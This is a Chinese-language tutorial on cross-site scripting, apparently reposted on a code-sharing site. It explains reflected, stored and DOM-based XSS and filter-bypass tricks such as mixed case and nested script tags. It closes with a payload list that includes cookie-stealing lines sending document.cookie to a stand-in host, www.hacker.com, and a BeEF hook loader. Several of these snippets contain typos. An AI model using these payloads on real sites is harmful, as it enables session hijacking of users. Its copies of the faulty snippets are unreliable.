簡單的XSS理解


概念

​ 跨站腳本攻擊也就是別人常提的XSS是指攻擊者利用網站程序對用戶輸入的內容過濾不足或者沒有過濾的缺陷。輸入可以顯示在頁面上,對訪問該網址的用戶造成影響的HTML代碼,,這些HTML代碼可以盜取用戶的資料、利用用戶身份到達某種目的或者直接使用病毒侵害。XSS英文全稱為Cross Site Scripting,原本縮寫應該是CSS,但是為了不和層疊樣式表(CSS)混淆,因此安全專家們通常將它縮寫為XSS

原理

​ XSS本質上是一種將惡意代碼嵌入到當前網頁中並能成功執行的攻擊方式。一般情況下hacker通過HTML注入篡改網頁,並插入惡意的JS腳本,以達到用戶瀏覽網頁的時候控制用戶的瀏覽器行為,XSS產生的原因主要是網站對用戶輸入的內容過於信任(對輸入的字符過濾不嚴),導致hacker提交的數據可以修改當前網站頁面或者插入一些惡意腳本。常見的攻擊點為:網站留言板、評論處等等,當hacker達成了攻擊hacker可以在該網址彈出一些自定義的彈窗、盜取用戶的cookie、彈出廣告

類型

1.反射型XSS

​ 存在反射型XSS漏洞的頁面只是將用戶輸入的數據通過URL的形式直接或者沒有經過安全過濾就在瀏覽器輸出,這樣會導致輸出的數據中可能存在可被瀏覽器執行的代碼數據,由於這種惡意代碼存在URL中,因此hacker需要引誘或者加密變形,再將存在惡意代碼的鏈接發送給受害者,只有用戶點擊該鏈接之后才能完成一次攻擊

2.存儲型XSS

​ 存儲型XSS是指web應用程序將用戶輸入的數據信息保存在服務器的數據庫或者保存在其他文件形式中,網頁進行數據查詢展示時,會從數據庫中獲取數據內容,並且將數據的內容在網頁中輸出展示,當用戶訪問具有XSS腳本攻擊的網頁時,就會觸發攻擊效果。網站管理員不及時發現,該跨站腳本就會一直存在,因此具有很強的穩定性。存儲型XSS常見於博客和新聞發布系統中,hacker會將包含惡意代碼的數據直接寫入文章或者文章評論中,當有用戶瀏覽該網頁時就會執行hacker留下的惡意代碼

3.基於DOM的XSS

​ 基於DOM的XSS攻擊並非按照”數據是否保存在服務器端“來划分從體現出來的效果也算是反射型XSS。但是這種XSS實現方法比較特殊,是由JavaScript的DOM節點編程可以改變HTML代碼這個特性而形成的XSS攻擊。不同於反射型XSS和存儲型XSS,基於DOM的XSS攻擊往往需要針對具體的JavaScript DOM代碼進行分析,並根據實際情況進行XSS攻擊的利用。但實際應用中,由於構造語句具有較大難度,而且實現效果以及要求較為嚴苛,因此比較少見

測試基本跨站代碼

	<Script>alert(/XSS/)</script>

​ 這段代碼的意義是:通過JavaScript執行彈窗命令,出現彈窗的命令為alert,彈窗的內容是/XSS/,在留言處、評論、文章、URL中提交該代碼之后可以刷新頁面,看看是否出現彈窗,如果出現了彈窗就說明存在XSS漏洞

大小寫混合測試

​ 隨着web安全防護技術的進步,稍微有點安全意識的web開發者都會使用一定的防護手段來防御XSS攻擊。下面將的幾種測試方法針對基於黑名單過濾的XSS防護手段進行繞過測試。所謂的黑名單過濾,就是開發者將<script>等易於觸發腳本執行的標簽關鍵詞作為黑名單,當用戶提交的內容中出現了黑名單中的關鍵詞時,系統就會將內容攔截丟棄或者過濾以達到防護手段,但有可能開發者粗心大意沒有將提交的數據進行小寫轉換,由於JavaScript腳本不區分大小寫因此我們可以嘗試大小寫混合進行繞過如:

<sCrIpT>alert(/XSS/)</sCrIpT>

多重嵌套測試

​ 當大小寫混合的方式行不通時說明后台對關鍵詞的過濾進行了較為嚴格的轉換和校驗,當我們提交的數據中關鍵詞標簽被刪除了,這樣開發者就達到了避免XSS攻擊的目的,這個時候我們可以構造一個多余的關鍵詞來讓服務器主動刪除,刪除之后的內容會自動拼接成有效的代碼如:

<scr<script>ipt>alert(/XSS/)<scr<script>ipt>

當服務器刪除里面的<script>剩下的內容會自動拼接成<scirpt>alert(/XSS)</script>這樣我們就達到了繞過的目的

多標簽測試

​ 在實際的XSS測試過程中,能觸發彈窗效果的遠不至於<script>這一標簽。在不同的瀏覽器、不同的場景、不同的環境下,能出發攻擊效果的跨站代碼也不盡相同,下面根據互聯網的公開資料,整理了一份常見的跨站代碼列表

<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>
<script>alert("請移步到我們的新站");location.href="http://www.qfedu.com"</script>
<script src="http://www.qfedu.com/xss.js"></script>
<img src="#" onerror=alert('XSS')>
<img src="javascript:alert('XSS');">
<img src="http://BeEF_IP:3000/hook.js"></img>
<script>windon.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Images().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie'"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width=0;
img.height=0;
</script>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM